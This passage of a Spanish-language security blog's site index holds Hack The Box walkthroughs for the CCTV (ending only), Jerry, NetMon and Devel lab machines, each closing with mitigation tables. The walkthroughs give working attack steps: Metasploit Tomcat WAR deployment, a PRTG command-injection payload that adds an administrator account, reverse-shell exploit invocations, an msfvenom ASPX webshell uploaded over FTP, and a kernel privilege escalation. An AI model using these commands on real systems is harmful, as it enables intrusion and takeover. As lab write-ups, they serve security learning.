corrección no es sanitizar mejor — es no invocar un shell para expandir plantillas cuando no es estrictamente necesario.\nUn servicio corriendo como root con capacidad de escritura en el sistema de ficheros es una escalada inmediata. El SUID en /bin/bash es uno de los payloads más simples posibles — no requiere exploits de kernel, no depende de la arquitectura, y funciona mientras /bin/bash exista. El problema raíz no es el payload sino que motion corre como root innecesariamente.\nMitigaciones:\nVector Mitigación Credenciales por defecto en ZoneMinder Forzar cambio en el primer inicio de sesión; eliminar credenciales por defecto antes de exponer el panel CVE-2024-51482 — SQLi ciega en tid Actualizar ZoneMinder a versión parcheada; usar prepared statements en todos los endpoints AJAX Clave de firma legible por usuarios no administrativos Restringir permisos de motion.conf a solo root; no derivar claves de firma de la contraseña de administrador motionEye ejecutándose como root Ejecutar con un usuario dedicado sin privilegios; usar setcap si se necesita acceso a dispositivos de cámara CVE-2025-60787 — inyección vía image_file_name Actualizar motionEye a versión parcheada; no expandir plantillas de nombre de fichero mediante un shell Ausencia de segmentación entre servicios y privilegios root Auditar periódicamente qué servicios locales corren con privilegios elevados innecesarios ","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/posts/htb-cctv/","section":"Posts","summary":" Resolución de CCTV en Hack The Box. Máquina de dificultad Medium con sistema operativo Linux. ZoneMinder expuesto con credenciales por defecto es vulnerable al CVE-2024-51482, una SQL Injection ciega que nos permite extraer hashes bcrypt y obtener acceso SSH. Una vez dentro, motionEye corre como root con su clave de firma de API expuesta en un fichero de configuración legible — combinación que explota el CVE-2025-60787 para inyectar un comando en el nombre de fichero de captura y obtener SUID en /bin/bash. HackTheBox Linux Medium ","title":"HTB Walkthrough: CCTV","type":"posts"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/johntheripper/","section":"Tags","summary":"","title":"JohnTheRipper","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/medium/","section":"Tags","summary":"","title":"Medium","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/motioneye/","section":"Tags","summary":"","title":"MotionEye","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/suid/","section":"Tags","summary":"","title":"SUID","type":"tags"},{"content":"","date":"22 de junio de 2026","externalUrl":null,"permalink":"/es/tags/zoneminder/","section":"Tags","summary":"","title":"ZoneMinder","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/cve-2018-9276/","section":"Tags","summary":"","title":"CVE-2018-9276","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/defaultcredentials/","section":"Tags","summary":"","title":"DefaultCredentials","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/ftp/","section":"Tags","summary":"","title":"FTP","type":"tags"},{"content":" Resolución de Jerry en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows Server 2012 R2. Apache Tomcat 7.0.88 expuesto con credenciales por defecto en el Manager. Las usamos para desplegar un WAR malicioso que nos entrega ejecución de código remota directamente como NT AUTHORITY\\SYSTEM — sin escalada de privilegios necesaria. HackTheBox Windows Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Jerry OS Windows Server 2012 R2 Dificultad Easy IP 10.129.136.9 Técnicas Default Credentials · Tomcat WAR Deploy · RCE como SYSTEM 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.136.9 PORT STATE SERVICE 8080/tcp open http-proxy Escaneo de versiones:\nnmap -sC -sV -p8080 10.129.136.9 PORT STATE SERVICE VERSION 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-title: Apache Tomcat/7.0.88 Puertos abiertos:\n8080 → Apache Tomcat 7.0.88 💡 Dato clave: Tomcat expone el Manager Application en /manager/html — una interfaz web de administración que permite desplegar aplicaciones Java (archivos .war) directamente en el servidor. Autenticarse en el Manager equivale a tener RCE.\n1.2 Enumeración del Tomcat Manager # Navegamos a http://10.129.136.9:8080/manager/html. El acceso requiere HTTP Basic Auth. Probamos credenciales por defecto con el módulo de Metasploit:\nmsf6 \u0026gt; use auxiliary/scanner/http/tomcat_mgr_login msf6 auxiliary(tomcat_mgr_login) \u0026gt; set RHOSTS 10.129.136.9 msf6 auxiliary(tomcat_mgr_login) \u0026gt; set RPORT 8080 msf6 auxiliary(tomcat_mgr_login) \u0026gt; run [-] LOGIN FAILED: tomcat:admin (Incorrect) [-] LOGIN FAILED: tomcat:manager (Incorrect) [-] LOGIN FAILED: tomcat:tomcat (Incorrect) [+] LOGIN SUCCESSFUL: tomcat:s3cret 🔑 Credenciales encontradas: tomcat:s3cret. Las credenciales por defecto de Tomcat están documentadas públicamente en el propio repositorio del proyecto — es una de las primeras comprobaciones en cualquier instalación de Tomcat expuesta.\n💡 Conclusiones: Acceso al Manager con credenciales por defecto. Podemos desplegar un WAR malicioso y obtener RCE directamente.\n2. Explotación — Despliegue de WAR Malicioso # 2.1 Análisis de la Vulnerabilidad # Un archivo WAR (Web Application Archive) es el formato estándar de empaquetado de aplicaciones Java para Tomcat. El Manager permite subir y desplegar WARs directamente desde la interfaz web. Al desplegar un WAR que contiene un JSP con código de reverse shell, Tomcat lo extrae, lo sirve como una aplicación web y al visitarlo ejecuta el código en el contexto del proceso de Tomcat.\nFlujo normal: upload WAR legítimo → Tomcat despliega la aplicación → sirve la app Java Flujo malicioso: upload WAR malicioso → Tomcat despliega el JSP de shell → visitar la URL activa el JSP → ejecución como SYSTEM El proceso de Tomcat en esta máquina corre como la cuenta de máquina JERRY$, que tiene privilegios equivalentes a administrador local — acceso SYSTEM directo sin escalada.\n2.2 Ejecución # msf6 \u0026gt; use exploit/multi/http/tomcat_mgr_deploy msf6 exploit(tomcat_mgr_deploy) \u0026gt; set RHOSTS 10.129.136.9 msf6 exploit(tomcat_mgr_deploy) \u0026gt; set RPORT 8080 msf6 exploit(tomcat_mgr_deploy) \u0026gt; set HttpUsername tomcat msf6 exploit(tomcat_mgr_deploy) \u0026gt; set HttpPassword s3cret msf6 exploit(tomcat_mgr_deploy) \u0026gt; set PATH /manager/text msf6 exploit(tomcat_mgr_deploy) \u0026gt; set LHOST tun0 msf6 exploit(tomcat_mgr_deploy) \u0026gt; set target 1 msf6 exploit(tomcat_mgr_deploy) \u0026gt; run Dos opciones de configuración relevantes:\nPATH /manager/text — La ruta /manager/text es la API en texto plano que Metasploit usa para hacer el deploy programáticamente, sin procesar HTML. target 1 (Java Universal) — Genera un payload Java puro (.class) que corre sobre la JVM de Tomcat, compatible con Windows y Linux sin depender de la arquitectura del SO. [*] Uploading 6217 bytes as GiLuDM0r7bdIcsQyV.war ... [*] Executing /GiLuDM0r7bdIcsQyV/UnHl.jsp... [*] Undeploying GiLuDM0r7bdIcsQyV ... [*] Meterpreter session 1 opened (10.10.14.211:4444 -\u0026gt; 10.129.136.9:49192) meterpreter \u0026gt; getuid Server username: JERRY$ ✅ Shell obtenida directamente como SYSTEM. No se requiere escalada de privilegios.\n3. Flags — Las Dos por el Precio de Una # Jerry tiene una particularidad: ambas flags están en un único archivo en el escritorio del Administrador, como guiño del creador al hecho de que se obtiene SYSTEM directamente sin pasar por un usuario sin privilegios.\nmeterpreter \u0026gt; cat \u0026#34;C:\\\\Users\\\\Administrator\\\\Desktop\\\\flags\\\\2 for the price of 1.txt\u0026#34; user.txt [flag] root.txt [flag] 🔑 Flag de usuario obtenida.\n🏁 Flag de root obtenida.\n4. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Puerto 8080 con Apache Tomcat 7.0.88; Manager Application en /manager/html. Credenciales por defecto → tomcat_mgr_login → tomcat:s3cret. WAR malicioso → tomcat_mgr_deploy con Java Universal → JSP ejecutado por Tomcat → shell como JERRY$ (SYSTEM). Flags → Ambas en un único archivo en el escritorio del Administrador. Lo que aprendí con esta máquina:\nEl Manager de Tomcat con credenciales por defecto es RCE. No hace falta explotar ninguna vulnerabilidad del software — la funcionalidad legítima de despliegue de WARs es el vector. La seguridad de una instalación de Tomcat depende completamente de proteger el Manager con credenciales fuertes y restricción de acceso por IP.\nLos payloads Java Universal son independientes de la arquitectura del SO. A diferencia de los payloads nativos (.exe para Windows, ELF para Linux), un payload Java corre sobre la JVM sin importar si el sistema es x86, x64, Windows o Linux. En servidores de aplicaciones Java esto es especialmente útil porque la JVM siempre está disponible.\nLa cuenta de máquina en Windows tiene privilegios de administrador local. JERRY$ es la cuenta de máquina del sistema — no es un usuario administrador en el sentido tradicional, pero tiene acceso equivalente a SYSTEM sobre el sistema local. Cuando un servicio corre con esta cuenta, comprometer ese servicio da acceso total sin escalada adicional.\nCambiar las credenciales por defecto es el paso de hardening más básico y más frecuentemente omitido. La contraseña s3cret ni siquiera es la contraseña por defecto de Tomcat — alguien la configuró conscientemente. Aun así, está en todas las listas de wordlists de Tomcat. Una contraseña débil y documentada en el Manager es funcionalmente equivalente a no tener contraseña.\nMitigaciones:\nVector Mitigación Credenciales por defecto en Tomcat Manager Cambiar credenciales inmediatamente tras la instalación; usar contraseñas complejas y únicas Tomcat Manager accesible desde internet Restringir /manager por IP; deshabilitar el Manager en producción si no es necesario Tomcat ejecutando como cuenta de máquina (SYSTEM) Crear un usuario de servicio dedicado sin privilegios administrativos para ejecutar Tomcat Despliegue de WARs sin restricciones Deshabilitar el Manager si no se usa activamente; whitelist de WARs autorizados Tomcat 7.0.88 sin soporte Actualizar a Tomcat 9.x o 10.x con parches de seguridad activos ","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/posts/htb-jerry/","section":"Posts","summary":" Resolución de Jerry en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows Server 2012 R2. Apache Tomcat 7.0.88 expuesto con credenciales por defecto en el Manager. Las usamos para desplegar un WAR malicioso que nos entrega ejecución de código remota directamente como NT AUTHORITY\\SYSTEM — sin escalada de privilegios necesaria. HackTheBox Windows Easy ","title":"HTB Walkthrough: Jerry","type":"posts"},{"content":" Resolución de NetMon en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows Server 2016. El FTP anónimo expone el sistema de archivos raíz de Windows, lo que nos permite leer un backup de configuración de PRTG con credenciales en texto claro. Con acceso al panel de administración explotamos CVE-2018-9276, una inyección de comandos en el sistema de notificaciones de PRTG que ejecuta código como NT AUTHORITY\\SYSTEM. HackTheBox Windows Easy 🗺️ Información de la Máquina # Campo Detalle Nombre NetMon OS Windows Server 2016 Dificultad Easy IP 10.129.14.77 Técnicas FTP Anonymous Read · Credential Exposure · CVE-2018-9276 · Command Injection 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.14.77 PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman 47001/tcp open winrm Escaneo de versiones sobre los puertos relevantes:\nnmap -sC -sV -p21,80,5985 10.129.14.77 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) 80/tcp open http Indy httpd (Paessler PRTG bandwidth monitor) |_http-title: Welcome | PRTG Network Monitor 5985/tcp open http Microsoft HTTPAPI httpd (WSMAN) Puertos abiertos:\n21 → FTP con acceso anónimo habilitado 80 → PRTG Network Monitor — herramienta de monitorización de infraestructura 5985 → WinRM (útil si obtenemos credenciales de administrador) 💡 Dato clave: PRTG Network Monitor es software con historial de vulnerabilidades críticas. El FTP anónimo en un servidor Windows puede exponer rutas sensibles del sistema de archivos si no está correctamente aislado en un directorio chroot.\n1.2 Enumeración FTP — Acceso al Sistema de Archivos # ftp 10.129.14.77 # Usuario: anonymous / Sin contraseña ftp\u0026gt; ls 02-03-19 12:18AM .rnd 02-25-19 10:15PM \u0026lt;DIR\u0026gt; inetpub 07-16-16 09:18AM \u0026lt;DIR\u0026gt; PerfLogs 02-25-19 10:56PM \u0026lt;DIR\u0026gt; Program Files 02-03-19 12:28AM \u0026lt;DIR\u0026gt; Program Files (x86) 02-03-19 08:08AM \u0026lt;DIR\u0026gt; Users 11-10-23 10:20AM \u0026lt;DIR\u0026gt; Windows El FTP expone el sistema de archivos raíz de Windows (C:\\). Podemos navegar libremente por directorios del sistema sin autenticación — una misconfiguration crítica que convierte el FTP en un vector de lectura de cualquier archivo accesible al proceso. La documentación oficial de PRTG indica que los archivos de configuración se almacenan en C:\\ProgramData\\Paessler\\PRTG Network Monitor:\nftp\u0026gt; cd ProgramData/Paessler/PRTG\\ Network\\ Monitor ftp\u0026gt; ls 06-13-26 08:17AM \u0026lt;DIR\u0026gt; Configuration Auto-Backups 02-25-19 10:54PM 1189697 PRTG Configuration.dat 02-25-19 10:54PM 1189697 PRTG Configuration.old 07-14-18 03:13AM 1153755 PRTG Configuration.old.bak 06-13-26 09:41AM 1722335 PRTG Graph Data Cache.dat Hay tres archivos de configuración: el actual (.dat), una copia anterior (.old) y un backup antiguo (.old.bak). Los backups suelen contener información histórica valiosa — credenciales que ya no están en producción pero que revelan patrones. Descargamos el más antiguo:\nftp\u0026gt; get PRTG\\ Configuration.old.bak 💡 Conclusiones: Acceso de lectura a todo C:\\ sin autenticación. El backup de configuración de PRTG es el objetivo prioritario — los archivos de configuración de software de monitorización frecuentemente contienen credenciales de administrador en texto claro.\n2. Explotación — Credenciales en Backup y CVE-2018-9276 # 2.1 Extracción de Credenciales del Backup # grep -A2 \u0026#34;dbpassword\u0026#34; \u0026#34;PRTG Configuration.old.bak\u0026#34; \u0026lt;dbpassword\u0026gt; \u0026lt;!-- User: prtgadmin --\u0026gt; PrTg@dmin2018 Credenciales encontradas: prtgadmin:PrTg@dmin2018. Sin embargo, este backup es de julio de 2018 y las credenciales actuales del sistema son del año siguiente. PRTG tiene una política de rotación anual, y un patrón tan predecible como incrementar el año hace que la \u0026ldquo;rotación\u0026rdquo; sea trivialmente bypasseable:\nPrTg@dmin2018 → Login fallido PrTg@dmin2019 → ✅ Login exitoso Con prtgadmin:PrTg@dmin2019 accedemos al panel de administración en http://10.129.14.77/.\nLa versión instalada es PRTG 18.1.37.13946, vulnerable al CVE-2018-9276.\n2.2 Análisis de la Vulnerabilidad — CVE-2018-9276 # PRTG permite configurar notificaciones que ejecutan scripts externos cuando se disparan ciertos eventos. El campo \u0026ldquo;Parameter\u0026rdquo; de la sección \u0026ldquo;Execute Program\u0026rdquo; no sanitiza el input del usuario antes de pasarlo al proceso de ejecución. Usando ; podemos encadenar comandos adicionales que PRTG ejecutará como NT AUTHORITY\\SYSTEM.\nFlujo normal: Parameter: \u0026#34;archivo.txt\u0026#34; → script recibe el argumento → ejecuta acción legítima Flujo malicioso: Parameter: \u0026#34;archivo.txt;comando\u0026#34; → script recibe argumento → PRTG pasa el resto al shell sin sanitizar → comando ejecutado como SYSTEM 2.3 Explotación Manual — Crear Usuario Administrador # Navegamos a Setup → Account Settings → Notifications → Add new notification:\nEn la sección \u0026ldquo;Execute Program\u0026rdquo; configuramos:\nProgram File: Demo exe notification - outfile.ps1 Parameter: test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add El payload encadena tres acciones:\ntest.txt — argumento esperado por el script para que no falle. net user attacker P@ssw0rd! /add — crea un usuario local. net localgroup administrators attacker /add — lo añade al grupo de administradores. Guardamos la notificación y la disparamos desde la lista usando el icono de campana (\u0026ldquo;Send test notification\u0026rdquo;): PRTG ejecuta el script como SYSTEM y los comandos se procesan.\n2.4 Shell de SYSTEM con Exploit Automatizado # Exploit disponible en: CVE-2018-9276 PoC\npython cve_2018_9276.py \\ -i 10.129.14.77 \\ -p 80 \\ --lhost 10.10.14.211 \\ --lport 4444 \\ --user prtgadmin \\ --password PrTg@dmin2019 C:\\Windows\\system32\u0026gt; whoami nt authority\\system ✅ Shell de SYSTEM obtenida. # 3. User Flag # La flag de usuario está en el escritorio público, accesible directamente desde el FTP sin necesidad de shell:\nftp\u0026gt; get Users/Public/Desktop/user.txt 🔑 Flag de usuario obtenida.\n4. Root Flag # Con la shell de SYSTEM navegamos al escritorio del Administrador:\nC:\\Users\\Administrator\\Desktop\u0026gt; type root.txt Nota: En Windows, el equivalente de cat es type. No existe de forma nativa en cmd.exe. 🏁 Flag de root obtenida.\n5. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → FTP anónimo expone C:\\ completo; puerto 80 sirve PRTG Network Monitor. Enumeración FTP → C:\\ProgramData\\Paessler\\PRTG Network Monitor\\PRTG Configuration.old.bak contiene credenciales en texto claro. Credenciales → prtgadmin:PrTg@dmin2018 del backup; actualización de año → PrTg@dmin2019 → login exitoso. CVE-2018-9276 → Command injection en campo Parameter de notificaciones PRTG → comandos ejecutados como SYSTEM. Flags → User flag via FTP directo; root flag con shell de SYSTEM → root.txt. Lo que aprendí con esta máquina: FTP anónimo sin chroot en Windows es acceso de lectura a C:\\. No hace falta explotar nada — navegar por el FTP equivale a navegar por el explorador de archivos del servidor. Cualquier archivo legible por el proceso FTP está a nuestra disposición, incluidos directorios de aplicaciones con configuración sensible. Los backups de configuración de software de infraestructura son un objetivo prioritario. PRTG, Nagios, Zabbix y herramientas similares frecuentemente almacenan credenciales de administrador en sus archivos de configuración para conectarse a los servicios que monitorizan. Si el backup está disponible, suele contener versiones históricas de esas credenciales. La rotación de contraseñas con patrón predecible no es seguridad. Cambiar PrTg@dmin2018 a PrTg@dmin2019 cumple formalmente con una política de rotación anual, pero cualquier atacante que conozca la contraseña del año anterior puede deducir la actual en segundos. Una rotación efectiva requiere contraseñas aleatorias sin relación entre sí. CVE-2018-9276 ilustra el riesgo de las herramientas de administración con capacidad de ejecución de scripts. PRTG necesita ejecutar scripts para sus notificaciones — es una funcionalidad legítima. El problema es no sanitizar el input antes de pasarlo al proceso. Software de monitorización e infraestructura suele correr con privilegios elevados, lo que convierte cualquier inyección de comandos en acceso inmediato a SYSTEM. Siempre verificar todos los archivos de la misma familia antes de usar las credenciales encontradas. Había tres versiones del archivo de configuración (.dat, .old, .old.bak). El .dat actual podría haber tenido credenciales directamente válidas. El .old.bak era el más antiguo y requirió el ajuste del año — haber empezado por el .dat podría haber ahorrado ese paso. Mitigaciones: Vector Mitigación FTP anónimo con acceso al raíz del sistema Deshabilitar el acceso anónimo; si se necesita FTP, aislar en un directorio chroot sin rutas del sistema Credenciales en texto claro en backups de configuración Cifrar los backups; eliminar backups antiguos; nunca almacenar contraseñas en texto claro en XML Rotación de contraseñas con patrón predecible Usar contraseñas generadas aleatoriamente sin relación entre versiones CVE-2018-9276 — Command injection en PRTG Actualizar PRTG a versión 18.2.39 o superior donde el campo Parameter está sanitizado PRTG ejecutando notificaciones como SYSTEM Configurar PRTG para ejecutar scripts con un usuario de servicio sin privilegios administrativos ","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/posts/htb-netmon/","section":"Posts","summary":" Resolución de NetMon en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows Server 2016. El FTP anónimo expone el sistema de archivos raíz de Windows, lo que nos permite leer un backup de configuración de PRTG con credenciales en texto claro. Con acceso al panel de administración explotamos CVE-2018-9276, una inyección de comandos en el sistema de notificaciones de PRTG que ejecuta código como NT AUTHORITY\\SYSTEM. HackTheBox Windows Easy ","title":"HTB Walkthrough: NetMon","type":"posts"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/jerry/","section":"Tags","summary":"","title":"Jerry","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/metasploit/","section":"Tags","summary":"","title":"Metasploit","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/netmon/","section":"Tags","summary":"","title":"Netmon","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/prtg/","section":"Tags","summary":"","title":"PRTG","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/tomcat/","section":"Tags","summary":"","title":"Tomcat","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/war/","section":"Tags","summary":"","title":"WAR","type":"tags"},{"content":"","date":"13 de junio de 2026","externalUrl":null,"permalink":"/es/tags/windows/","section":"Tags","summary":"","title":"Windows","type":"tags"},{"content":"","date":"12 de junio de 2026","externalUrl":null,"permalink":"/es/tags/aspx/","section":"Tags","summary":"","title":"ASPX","type":"tags"},{"content":"","date":"12 de junio de 2026","externalUrl":null,"permalink":"/es/tags/devel/","section":"Tags","summary":"","title":"Devel","type":"tags"},{"content":" Resolución de Devel en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows 7 x86. El FTP anónimo comparte directorio raíz con el webroot de IIS, lo que nos permite subir una webshell ASPX y obtener ejecución remota de código. Escalamos a NT AUTHORITY\\SYSTEM explotando MS10-015 (KiTrap0D), un fallo en el kernel x86 de Windows. HackTheBox Windows Easy 🗺️ Información de la Máquina # Campo Detalle Nombre Devel OS Windows 7 (Build 7600) x86 Dificultad Easy IP 10.129.13.0 Técnicas FTP Write to Webroot · ASPX Webshell · MS10-015 KiTrap0D 1. Reconocimiento # 1.1 Escaneo de Puertos # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.13.0 PORT STATE SERVICE 21/tcp open ftp 80/tcp open http Escaneo de versiones sobre los puertos abiertos:\nnmap -sC -sV -p21,80 10.129.13.0 PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM \u0026lt;DIR\u0026gt; aspnet_client | 03-17-17 05:37PM 689 iisstart.htm | 03-17-17 05:37PM 184946 welcome.png 80/tcp open http Microsoft IIS httpd 7.5 Service Info: OS: Windows Puertos abiertos:\n21 → Microsoft FTP con acceso anónimo habilitado — y los archivos listados son exactamente los de IIS 80 → Microsoft IIS 7.5 💡 Dato clave — La conexión crítica: El FTP anónimo expone iisstart.htm, welcome.png y aspnet_client/ — exactamente los mismos archivos que sirve IIS 7.5 en el puerto 80. Esto significa que el directorio raíz del FTP es el webroot de IIS. Si podemos escribir un archivo por FTP, podemos acceder a él desde el navegador y, siendo IIS con ASP.NET, ejecutarlo.\n1.2 Enumeración del FTP # Confirmamos permisos de escritura y la versión de ASP.NET:\nftp 10.129.13.0 # Usuario: anonymous / Sin contraseña ftp\u0026gt; ls aspnet_client/system_web 03-18-17 02:06AM \u0026lt;DIR\u0026gt; 2_0_50727 La ruta aspnet_client/system_web/2.0.50727 confirma que el servidor ejecuta ASP.NET 2.0, lo que garantiza que los archivos .aspx serán interpretados y ejecutados por IIS.\n💡 Conclusiones: FTP anónimo con escritura en webroot + IIS con ASP.NET = subir un .aspx malicioso y visitarlo desde el navegador nos da RCE directo.\n2. Explotación — Webshell ASPX vía FTP # 2.1 Generar el Payload ASPX # msfvenom -p windows/meterpreter/reverse_tcp \\ LHOST=10.10.14.211 \\ LPORT=1337 \\ -f aspx \u0026gt; devel.aspx Usamos windows/meterpreter/reverse_tcp (32 bits) y no la variante x64 porque el sysinfo posterior confirma que el sistema es x86. Un payload x64 en un proceso x86 causaría un crash inmediato — la arquitectura del payload debe coincidir con la del proceso que lo ejecuta.\n2.2 Subir el Payload al Webroot # ftp 10.129.13.0 ftp\u0026gt; put ./devel.aspx 226 Transfer complete. 2.3 Configurar el Listener y Activar el Payload # msf6 \u0026gt; use multi/handler msf6 handler \u0026gt; set payload windows/meterpreter/reverse_tcp msf6 handler \u0026gt; set LHOST tun0 msf6 handler \u0026gt; set LPORT 1337 msf6 handler \u0026gt; exploit -j Visitamos la URL del archivo subido para que IIS lo procese y ejecute:\nhttp://10.129.13.0/devel.aspx [*] Sending stage (196678 bytes) to 10.129.13.5 [*] Meterpreter session 35 opened (10.10.14.211:1337 -\u0026gt; 10.129.13.5:49265) meterpreter \u0026gt; getuid Server username: IIS APPPOOL\\Web meterpreter \u0026gt; sysinfo Computer : DEVEL OS : Windows 7 (6.1 Build 7600) Architecture : x86 Domain : HTB ✅ Shell Meterpreter obtenida como IIS APPPOOL\\Web — sin privilegios elevados. Necesitamos escalar. # 3. User Flag # meterpreter \u0026gt; cat C:\\\\Users\\\\babis\\\\Desktop\\\\user.txt 🔑 Flag de usuario obtenida.\n4. Escalada de Privilegios — MS10-015 KiTrap0D # 4.1 Enumeración del Sistema # Usamos el módulo local_exploit_suggester de Metasploit para identificar vectores de escalada desde la sesión actual:\nmsf6 \u0026gt; use post/multi/recon/local_exploit_suggester msf6 \u0026gt; set SESSION 35 msf6 \u0026gt; run [+] exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated. [+] exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running. El suggester lista 16 exploits potenciales. Elegimos ms10_015_kitrap0d porque bypassuac_eventvwr — el más llamativo — requiere que el usuario actual pertenezca al grupo Administrators para poder saltarse el UAC. IIS APPPOOL\\Web no es un administrador local, por lo que el bypass de UAC no aplica aquí. KiTrap0D en cambio es una vulnerabilidad de kernel que no depende de los permisos del usuario.\n4.2 Análisis del Vector de Escalada # MS10-015 KiTrap0D explota un fallo en el manejo de la trampa de división por cero (#DE, trap 0) del kernel de Windows en sistemas x86. Cuando se produce una excepción de este tipo desde modo usuario, el kernel no valida correctamente el contexto del proceso, lo que permite sobreescribir estructuras de datos privilegiadas. El exploit inyecta un payload en un proceso msiexec.exe y aprovecha este fallo para elevar el contexto de ejecución a NT AUTHORITY\\SYSTEM.\nFlujo normal: excepción #DE → kernel gestiona la trampa → devuelve control al proceso Flujo malicioso: excepción #DE especialmente preparada → fallo de validación en kernel x86 → escritura en estructuras privilegiadas → inyección en msiexec.exe → SYSTEM La vulnerabilidad solo afecta a sistemas x86 — en arquitecturas x64 el kernel gestiona la trampa de forma diferente y el exploit no funciona. El sysinfo que obtuvimos en el foothold confirma que Devel es x86, lo que nos dio la pista directa.\n4.3 Explotación # msf6 \u0026gt; use exploit/windows/local/ms10_015_kitrap0d msf6 exploit(ms10_015_kitrap0d) \u0026gt; set LHOST tun0 msf6 exploit(ms10_015_kitrap0d) \u0026gt; set SESSION 35 msf6 exploit(ms10_015_kitrap0d) \u0026gt; run [*] Reflectively injecting payload and triggering the bug... [*] Launching msiexec to host the DLL... [+] Process 1124 launched. [*] Reflectively injecting the DLL into 1124... [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Meterpreter session 37 opened (10.10.14.211:4444 -\u0026gt; 10.129.13.5:49268) meterpreter \u0026gt; getuid Server username: NT AUTHORITY\\SYSTEM ✅ Escalada a SYSTEM completada. # 5. Root Flag # meterpreter \u0026gt; cat C:\\\\Users\\\\Administrator\\\\Desktop\\\\root.txt 🏁 Flag de root obtenida.\n6. Resumen y Lecciones Aprendidas # Ruta de compromiso:\nRecon → Nmap detecta FTP anónimo con los mismos archivos que IIS 7.5 en el puerto 80. Enumeración FTP → Escritura confirmada en webroot; ASP.NET 2.0 activo. Webshell ASPX → msfvenom genera payload x86; ftp put lo sube al webroot; visitar la URL activa la shell → IIS APPPOOL\\Web. User Flag → Acceso al escritorio de babis → user.txt. PrivEsc → local_exploit_suggester → ms10_015_kitrap0d → kernel x86 fallo en trampa #DE → NT AUTHORITY\\SYSTEM → root.txt. Lo que aprendí con esta máquina: Cuando el FTP y el servidor web comparten directorio raíz, el FTP con escritura es RCE. No hace falta explotar ninguna vulnerabilidad del servicio web — simplemente subir un archivo ejecutable y visitarlo. Identificar esta relación entre servicios durante el reconocimiento es lo que hace que la máquina se resuelva en minutos en lugar de horas. La arquitectura del objetivo determina la arquitectura del payload. Un payload x64 en un proceso x86 no funciona — causa un crash. sysinfo en Meterpreter o el Architecture del output de nmap son la referencia. En Windows es especialmente importante porque muchos sistemas legacy siguen siendo x86 a pesar de la edad. local_exploit_suggester es el punto de partida para PrivEsc en Windows con Meterpreter. No sustituye al conocimiento, pero reduce drásticamente el tiempo de enumeración al filtrar qué exploits son aplicables al sistema concreto. La decisión de cuál usar todavía requiere criterio — en este caso, descartar bypassuac por el contexto del usuario. MS10-015 solo funciona en x86. La arquitectura del sistema no solo afecta al payload del foothold, sino también al vector de escalada. Tener sysinfo desde el primer momento orienta toda la fase de PrivEsc — en este caso, x86 abre KiTrap0D y cierra varios exploits x64. FTP anónimo con escritura en producción es un riesgo crítico aunque el contenido parezca inofensivo. El directorio expuesto en Devel solo tenía una página de bienvenida y algunos assets estáticos. Sin embargo, la capacidad de escritura convirtió ese FTP en un vector de RCE completo. El problema no es qué hay en el directorio — es que alguien externo puede añadir lo que quiera. Mitigaciones: Vector Mitigación FTP anónimo con escritura en webroot Deshabilitar acceso anónimo en IIS FTP; nunca mapear el FTP al webroot IIS ejecuta cualquier archivo subido Configurar IIS para no ejecutar scripts en directorios de upload; whitelist de extensiones permitidas MS10-015 KiTrap0D Aplicar el parche KB979682; migrar a un SO con soporte activo (Windows 7 EOL desde 2020) IIS pool con permisos elevados Usar ApplicationPoolIdentity con mínimo privilegio; no correr pools como SYSTEM o Administrator ","date":"12 de junio de 2026","externalUrl":null,"permalink":"/es/posts/htb-devel/","section":"Posts","summary":" Resolución de Devel en Hack The Box. Máquina de dificultad Easy con sistema operativo Windows 7 x86. El FTP anónimo comparte directorio raíz con el webroot de IIS, lo que nos permite subir una webshell ASPX y obtener ejecución remota de código. Escalamos a NT AUTHORITY\\SYSTEM explotando MS10-015 (KiTrap0D), un fallo en el kernel x86 de Windows. HackTheBox Windows Easy 